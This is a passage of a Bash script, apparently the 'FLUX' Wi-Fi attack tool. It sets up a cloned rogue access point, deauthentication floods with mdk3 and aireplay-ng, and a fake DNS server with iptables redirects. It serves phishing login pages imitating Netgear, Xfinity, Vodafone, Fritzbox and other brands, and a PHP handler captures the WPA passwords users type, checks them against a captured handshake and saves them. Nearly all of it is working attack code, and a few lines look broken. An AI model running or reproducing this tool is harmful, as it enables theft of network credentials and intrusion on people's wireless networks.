                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ID
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID
                                NEUTRA
                                break

                        elif [ "$webconf" = "20" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_NL
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL
                                NEUTRA
                                break

                        elif [ "$webconf" = 21 ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN
                                NEUTRA
                                break

                        elif [ "$webconf" = 22 ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_HE
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE
                                NEUTRA
                                break

                        elif [ "$webconf" = 23 ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_TH
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH
                                NEUTRA
                                break

            elif [ "$webconf" = 24 ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR
                                NEUTRA
                                break

            elif [ "$webconf" = 25 ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN
                                NEUTRA
                                SVNeak

                        elif [ "$webconf" = "26" ]; then
                                BELKIN
                                break


                        elif [ "$webconf" = "27" ]; then
                                NETGEAR
                                break

                        elif [ "$webconf" = "28" ]; then
                                HUAWEI
                                break

                        elif [ "$webconf" = "29" ]; then
                                VERIZON
                                break

                        elif [ "$webconf" = "30" ]; then
                                NETGEAR2
                                break

                        elif [ "$webconf" = "31" ]; then
                                ARRIS2
                                break

                        elif [ "$webconf" = "32" ]; then
                                VODAFONE
                                break

                        elif [ "$webconf" = "33" ]; then
                                TPLINK
                                break

                        elif [ "$webconf" = "34" ]; then
                                ZIGGO_NL
                                break

                        elif [ "$webconf" = "35" ]; then
                                KPN_NL
                                break

            elif [ "$webconf" = "36" ]; then
                ZIGGO2016_NL
                break

                elif [ "$webconf" = "37" ]; then
                                FRITZBOX_DE
                                break

                    elif [ "$webconf" = "38" ]; then
                                FRITZBOX_ENG
                                break

                        elif [ "$webconf" = "39" ]; then
                                GENEXIS_DE
                                break

                        elif [ "$webconf" = "40" ]; then
                                Login-Netgear
                                break

                        elif [ "$webconf" = "41" ]; then
                                Login-Xfinity
                                break

                        elif [ "$webconf" = "42" ]; then
                                Telekom
                                break

                        elif [ "$webconf" = "43" ]; then
                                google
                                break

      elif [ "$webconf" = "44" ]; then
        MOVISTAR_ES
        break

                        elif [ "$webconf" = "45" ]; then
                                conditional_clear
                                webinterface
                                break
      fi

        done
fi
        preattack
        attack
}

# Create different settings required for the script
function preattack {

        # Config HostAPD
        echo "interface=$WIFI
driver=nl80211
ssid=$Host_SSID
channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf

        # Creates PHP
        echo "<?php
error_reporting(0);

\$count_my_page = (\"$DUMP_PATH/hit.txt\");
\$hits = file(\$count_my_page);
\$hits[0] ++;
\$fp = fopen(\$count_my_page , \"w\");
fputs(\$fp , \$hits[0]);
fclose(\$fp);

// Receive form Post data and Saving it in variables
\$key1 = @\$_POST['key1'];

// Write the name of text file where data will be store
\$filename = \"$DUMP_PATH/data.txt\";
\$filename2 = \"$DUMP_PATH/status.txt\";
\$intento = \"$DUMP_PATH/intento\";
\$attemptlog = \"$DUMP_PATH/pwattempt.txt\";

// Marge all the variables with text in a single variable.
\$f_data= ''.\$key1.'';

\$pwlog = fopen(\$attemptlog, \"w\");
fwrite(\$pwlog, \$f_data);
fwrite(\$pwlog,\"\n\");
fclose(\$pwlog);

\$file = fopen(\$filename, \"w\");
fwrite(\$file, \$f_data);
fwrite(\$file,\"\n\");
fclose(\$file);

\$archivo = fopen(\$intento, \"w\");
fwrite(\$archivo,\"\n\");
fclose(\$archivo);

while( 1 ) {

        if (file_get_contents( \$intento ) == 1) {
                header(\"Location:error.html\");
                unlink(\$intento);
            break;
        }

        if (file_get_contents( \$intento ) == 2) {
                header(\"Location:final.html\");
                break;
        }

        sleep(1);
}
?>" > $DUMP_PATH/data/check.php

        # Config DHCP
        echo "authoritative;

default-lease-time 600;
max-lease-time 7200;

subnet $RANG_IP.0 netmask 255.255.255.0 {

option broadcast-address $RANG_IP.255;
option routers $IP;
option subnet-mask 255.255.255.0;
option domain-name-servers $IP;

range $RANG_IP.100 $RANG_IP.250;

}" > $DUMP_PATH/dhcpd.conf

        #create an empty leases file
        touch $DUMP_PATH/dhcpd.leases

        # creates Lighttpd web-server
        echo "server.document-root = \"$DUMP_PATH/data/\"

  server.modules = (
    \"mod_access\",
    \"mod_alias\",
    \"mod_accesslog\",
    \"mod_fastcgi\",
    \"mod_redirect\",
    \"mod_rewrite\"
  )

  fastcgi.server = ( \".php\" => ((
                  \"bin-path\" => \"/usr/bin/php-cgi\",
                  \"socket\" => \"/php.socket\"
                )))

  server.port = 80
  server.pid-file = \"/var/run/lighttpd.pid\"
  # server.username = \"www\"
  # server.groupname = \"www\"

  mimetype.assign = (
  \".html\" => \"text/html\",
  \".htm\" => \"text/html\",
  \".txt\" => \"text/plain\",
  \".jpg\" => \"image/jpeg\",
  \".png\" => \"image/png\",
  \".css\" => \"text/css\"
  )


  server.error-handler-404 = \"/\"

  static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
  index-file.names = ( \"index.htm\", \"index.html\" )

  \$SERVER[\"socket\"] == \":443\" {
        url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\")
        ssl.engine                  = \"enable\"
        ssl.pemfile                 = \"$DUMP_PATH/server.pem\"

  }

  #Redirect www.domain.com to domain.com
  \$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
        url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
        ssl.engine                  = \"enable\"
        ssl.pemfile                 = \"$DUMP_PATH/server.pem\"
  }
  " >$DUMP_PATH/lighttpd.conf


# that redirects all DNS requests to the gateway
        echo "import socket

class DNSQuery:
  def __init__(self, data):
    self.data=data
    self.dominio=''

    tipo = (ord(data[2]) >> 3) & 15
    if tipo == 0:
      ini=12
      lon=ord(data[ini])
      while lon != 0:
        self.dominio+=data[ini+1:ini+lon+1]+'.'
        ini+=lon+1
        lon=ord(data[ini])

  def respuesta(self, ip):
    packet=''
    if self.dominio:
      packet+=self.data[:2] + \"\x81\x80\"
      packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
      packet+=self.data[12:]
      packet+='\xc0\x0c'
      packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
    return packet

if __name__ == '__main__':
  ip='$IP'
  print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip

  udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  udps.bind(('',53))

  try:
    while 1:
      data, addr = udps.recvfrom(1024)
      p=DNSQuery(data)
      udps.sendto(p.respuesta(ip), addr)
      print 'Request: %s -> %s' % (p.dominio, ip)
  except KeyboardInterrupt:
    print 'Finalizando'
    udps.close()" > $DUMP_PATH/fakedns
        chmod +x $DUMP_PATH/fakedns
}

# Set up DHCP / WEB server
# Set up DHCP / WEB server
function routear {

        ifconfig $interfaceroutear up
        ifconfig $interfaceroutear $IP netmask 255.255.255.0

        route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP
        sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device

  iptables --flush
  iptables --table nat --flush
  iptables --delete-chain
  iptables --table nat --delete-chain
  iptables -P FORWARD ACCEPT

  iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80
  iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443
  iptables -A INPUT -p tcp --sport 443 -j ACCEPT
  iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
  iptables -t nat -A POSTROUTING -j MASQUERADE

}

# Attack
function attack {

        interfaceroutear=$WIFI

        handshakecheck
        nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1)

        if [ "$fakeapmode" = "hostapd" ]; then

                ifconfig $WIFI down
                sleep 0.4
                macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device
                sleep 0.4
                ifconfig $WIFI up
                sleep 0.4
        fi


        if [ $fakeapmode = "hostapd" ]; then
                killall hostapd &> $flux_output_device
                xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf &
                elif [ $fakeapmode = "airbase-ng" ]; then
                killall airbase-ng &> $flux_output_device
                xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR &
        fi
        sleep 5

        routear &
        sleep 3


        killall dhcpd &> $flux_output_device
        fuser -n tcp -k 53 67 80 &> $flux_output_device
        fuser -n udp -k 53 67 80 &> $flux_output_device

        xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" &
        xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" &

        lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device

        killall aireplay-ng &> $flux_output_device
        killall mdk3 &> $flux_output_device
        echo "$Host_MAC" >$DUMP_PATH/mdk3.txt
        xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3]  $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &

        xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck &
        conditional_clear

        while true; do
                top

                echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .."
                echo "                                       "
                echo "      1) Choose another network"
                echo "      2) Exit"
                echo " "
                echo -n '      #> '
                read yn
                case $yn in
                        1 ) matartodo; CSVDB=dump-01.csv; selection; break;;
                        2 ) matartodo; exitmode; break;;
                        * ) echo "
$general_case_error"; conditional_clear ;;
                esac
        done

}

# Checks the validity of the password
function handshakecheck {

        echo "#!/bin/bash

        echo > $DUMP_PATH/data.txt
        echo -n \"0\"> $DUMP_PATH/hit.txt
        echo "" >$DUMP_PATH/loggg

        tput civis
        clear

        minutos=0
        horas=0
        i=0
        timestamp=\$(date +%s)

        while true; do

        segundos=\$i
        dias=\`expr \$segundos / 86400\`
        segundos=\`expr \$segundos % 86400\`
        horas=\`expr \$segundos / 3600\`
        segundos=\`expr \$segundos % 3600\`
        minutos=\`expr \$segundos / 60\`
        segundos=\`expr \$segundos % 60\`

        if [ \"\$segundos\" -le 9 ]; then
        is=\"0\"
        else
        is=
        fi

        if [ \"\$minutos\" -le 9 ]; then
        im=\"0\"
        else
        im=
        fi

        if [ \"\$horas\" -le 9 ]; then
        ih=\"0\"
        else
        ih=
        fi">>$DUMP_PATH/handcheck

        if [ $authmode = "handshake" ]; then
                echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then
                cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\"
                rm -f $DUMP_PATH/pwattempt.txt
                fi

                if [ -f $DUMP_PATH/intento ]; then

                if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then
                echo \"2\">$DUMP_PATH/intento
                break
                else
                echo \"1\">$DUMP_PATH/intento
                fi

                fi">>$DUMP_PATH/handcheck

        elif [ $authmode = "wpa_supplicant" ]; then
                  echo "
                if [ -f $DUMP_PATH/pwattempt.txt ]; then
                cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log
                rm -f $DUMP_PATH/pwattempt.txt
                fi

                wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf &
                wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg &

                if [ -f $DUMP_PATH/intento ]; then

                if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then
                echo \"2\">$DUMP_PATH/intento
                break
                else
                echo \"1\">$DUMP_PATH/intento
                fi

                fi
                ">>$DUMP_PATH/handcheck
        fi

        echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host )

        echo
        echo -e \"  ACCESS POINT:\"
        echo -e \"    SSID............: "$white"$Host_SSID"$transparent"\"
        echo -e \"    MAC.............: "$yellow"$Host_MAC"$transparent"\"
        echo -e \"    Channel.........: "$white"$Host_CHAN"$transparent"\"
        echo -e \"    Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\"
        echo -e \"    Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\"
        echo -e \"    Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\"
        echo -e \"    Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\"
        echo
        echo -e \"  CLIENTS ONLINE:\"

        x=0
        for cliente in \"\${CLIENTESDHCP[@]}\"; do
          x=\$((\$x+1))
          CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2)
          CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:])

          if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then
                CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\"
          fi

          CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-)

          if echo \$CLIENTE_MAC| grep -q x; then
                    CLIENTE_FABRICANTE=\"unknown\"
          fi

          CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}')

          echo -e \"    $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\"
        done

        echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck


        if [ $authmode = "handshake" ]; then
                echo "let i=\$(date +%s)-\$timestamp
                sleep 1">>$DUMP_PATH/handcheck

        elif [ $authmode = "wpa_supplicant" ]; then
                echo "sleep 5

                killall wpa_supplicant &>$flux_output_device
                killall wpa_passphrase &>$flux_output_device
                let i=\$i+5">>$DUMP_PATH/handcheck
        fi

        echo "done
        clear
        echo \"1\" > $DUMP_PATH/status.txt

        sleep 7

        killall mdk3 &>$flux_output_device
        killall aireplay-ng &>$flux_output_device
        killall airbase-ng &>$flux_output_device
        kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device
        killall hostapd &>$flux_output_device
        killall lighttpd &>$flux_output_device
        killall dhcpd &>$flux_output_device
        killall wpa_supplicant &>$flux_output_device
        killall wpa_passphrase &>$flux_output_device

        echo \"
        FLUX $version by ghost

        SSID: $Host_SSID
        BSSID: $Host_MAC ($Host_MAC_MODEL)
        Channel: $Host_CHAN
        Security: $Host_ENC
        Time: \$ih\$horas:\$im\$minutos:\$is\$segundos
        Password: \$(cat $DUMP_PATH/data.txt)
        \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck


        if [ $authmode = "handshake" ]; then
                echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"
                ">>$DUMP_PATH/handcheck

        elif [ $authmode = "wpa_supplicant" ]; then
                echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck
        fi

        echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck
        chmod +x $DUMP_PATH/handcheck
}


############################################# < ATTACK > ############################################






############################################## < STUFF > ############################################

# Deauth all
function deauthall {

        xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &
}

function deauthmdk3 {

        echo "$Host_MAC" >$DUMP_PATH/mdk3.txt
        xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
        mdk3PID=$!
}

# Deauth to a specific target
function deauthesp {

        sleep 2
        xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR &
}

# Close all processes
function matartodo {

        killall aireplay-ng &>$flux_output_device
        kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device
        killall hostapd &>$flux_output_device
        killall lighttpd &>$flux_output_device
        killall dhcpd &>$flux_output_device
        killall xterm &>$flux_output_device

}

######################################### < INTERFACE WEB > ########################################

# Create the contents for the web interface
function NEUTRA {

        if [ ! -d $DUMP_PATH/data ]; then
                mkdir $DUMP_PATH/data
        fi

        source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip

        unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device
        rm $DUMP_PATH/file.zip &>$flux_output_device

        echo "<!DOCTYPE html>
        <html>
        <head>
            <title>Login Page</title>
            <meta charset=\"UTF-8\">
            <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
                <!-- Styles -->
            <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
                <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
                <!-- Scripts -->
                <script src=\"js/jquery-1.11.1.min.js\"></script>
                <script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
        </head>
        <body>
                <!-- final page -->
            <div id=\"done\" data-role=\"page\" data-theme=\"a\">
                        <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
                                <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3>
                        </div>
            </div>
        </body>
</html>" > $DUMP_PATH/data/final.html

        echo "<!DOCTYPE html>
        <html>
        <head>
            <title>Login Page</title>
            <meta charset=\"UTF-8\">
            <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
                <!-- Styles -->
            <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
                <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
                <!-- Scripts -->
                <script src=\"js/jquery-1.11.1.min.js\"></script>
                <script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
                <script src=\"js/jquery.validate.min.js\"></script>
                <script src=\"js/additional-methods.min.js\"></script>
        </head>
        <body>
                <!-- Error page -->
            <div data-role=\"page\" data-theme=\"a\">
                        <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
                                <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3>
                                <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a>
                        </div>
            </div>
        </body>
</html>" > $DUMP_PATH/data/error.html

        echo "<!DOCTYPE html>
        <html>
        <head>
            <title>Login Page</title>
            <meta charset=\"UTF-8\">
            <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
                <!-- Styles -->
            <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
                <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
                <!-- Scripts -->
                <script src=\"js/jquery-1.11.1.min.js\"></script>
                <script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
                <script src=\"js/jquery.validate.min.js\"></script>
                <script src=\"js/additional-methods.min.js\"></script>
        </head>
        <body>
                <!-- Main page -->
            <div data-role=\"page\" data-theme=\"a\">
                        <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\">
                                <fieldset>
                                        <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\">
                                                </br>
                                                <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\">
                                                        <div>ESSID: <u>$Host_SSID</u></div>
                                                        <div>BSSID: <u>$Host_MAC</u></div>
                                                        <div>Channel: <u>$Host_CHAN</u></div>
                                                </div>
                                                <div style=\"text-align:center;\">
                                                        <br><label>$DIALOG_WEB_INFO</label></br>
                                                </div>
                                                <div class=\"ui-field-contain\" >
                                                        <label for=\"key1\">$DIALOG_WEB_INPUT</label>
                                                        <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/>
                                                </div>

                                                <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/>
                                        </form>
                                </fieldset>
                        </div>
            </div>
                <script src=\"js/main.js\"></script>
                <script>
    $.extend( $.validator.messages, {
        required: \"$DIALOG_WEB_ERROR_MSG\",
        maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ),
        minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )});
  </script>
        </body>
</html>" > $DUMP_PATH/data/index.htm
}

# Functions to populate the content for the custom phishing pages
function ARRIS {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data

}

function BELKIN {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data

}

function NETGEAR {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data

}

function ARRIS2 {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data

}
function NETGEAR2 {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data

}

function TPLINK {
        mkdir $DUMP_PATH/data &>$flux_output_device
    cp -r  $WORK_DIR/sites/tplink/* $DUMP_PATH/data
}

function VODAFONE {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data
}

function VERIZON {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data
        cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data
}

function HUAWEI {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data

        }

function ZIGGO_NL {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data
        }

function KPN_NL {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data
        }

function ZIGGO2016_NL {
    mkdir $DUMP_PATH/data &>$flux_output_device
    cp -r  $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data
}

function FRITZBOX_DE {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data
        }

function FRITZBOX_ENG {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data
        }

function GENEXIS_DE {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r  $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data
        }

function Login-Netgear {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data
        }

function Login-Xfinity {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data
        }

function Telekom {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data
        }

function google {
        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data
        }

function MOVISTAR_ES {
